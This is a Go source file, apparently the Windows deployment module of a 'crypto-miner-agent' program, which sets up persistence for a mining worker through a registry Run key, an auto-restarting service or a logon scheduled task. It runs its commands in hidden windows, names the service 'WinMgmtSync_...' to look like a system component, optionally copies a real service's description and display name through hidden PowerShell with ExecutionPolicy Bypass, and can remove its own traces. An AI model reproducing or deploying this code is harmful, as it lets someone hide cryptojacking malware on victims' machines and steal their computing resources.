//go:build windows package deploy import ( "fmt" "os" "path/filepath" "strings" "time" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) func CurrentExecutable() (string, error) { path, err := os.Executable() if err != nil { return filepath.Abs(os.Args[0]) } return filepath.Abs(path) } func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err != nil { return err } defer k.Close() val := fmt.Sprintf(`"%s" %s`, binPath, runFlag) return k.SetStringValue(PersistenceKeyName(cfg), val) } func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { case "service": return createWindowsService(cfg, installedBin) case "scheduled": return createScheduledTask(cfg, installedBin) default: return nil } } func createWindowsService(cfg config.RuntimeConfig, binPath string) error { svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } _ = HiddenRun("sc.exe", "stop", svcName) _ = HiddenRun("sc.exe", "delete", svcName) time.Sleep(time.Second) if err := HiddenRun("sc.exe", "create", svcName, "binPath=", `"`+binPath+`" --run`, "type=", "own", "start=", "auto", "error=", "ignore", ); err != nil { return fmt.Errorf("sc create: %w", err) } _ = HiddenRun("sc.exe", "failure", svcName, "reset=", "60", "actions=", "restart/0/restart/5000/restart/30000", ) _ = HiddenRun("sc.exe", "start", svcName) if cfg.ServiceMasquerade && cfg.ServiceDonor != "" { cloneServiceDescription(svcName, cfg.ServiceDonor) } return nil } func cloneServiceDescription(targetSvc, donorSvc string) { ps := fmt.Sprintf(` $donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue if ($donorWmi) { sc.exe description '%s' ($donorWmi.Description) Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue } `, strings.ReplaceAll(donorSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), ) _ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) } func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { taskName := PersistenceKeyName(cfg) if taskName == "" { taskName = "CryptoMinerAgent" } tr := fmt.Sprintf(`\"%s\" %s`, binPath, runFlag) return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED") } func HostOSVersion() string { out, err := HiddenCombinedOutput("cmd", "/C", "ver") if err != nil { return "windows" } return strings.TrimSpace(string(out)) } func killWorkerProcess(cfg config.RuntimeConfig) { _ = HiddenRun("taskkill", "/F", "/IM", BinaryName(cfg)) } func removePersistence(cfg config.RuntimeConfig) { keyName := PersistenceKeyName(cfg) runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err == nil { _ = runKey.DeleteValue(keyName) runKey.Close() } _ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F") svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } _ = HiddenRun("sc.exe", "stop", svcName) _ = HiddenRun("sc.exe", "delete", svcName) } func selfUninstallSpawn(installDir string) { dir := installDir go func() { time.Sleep(2 * time.Second) _ = os.RemoveAll(dir) }() }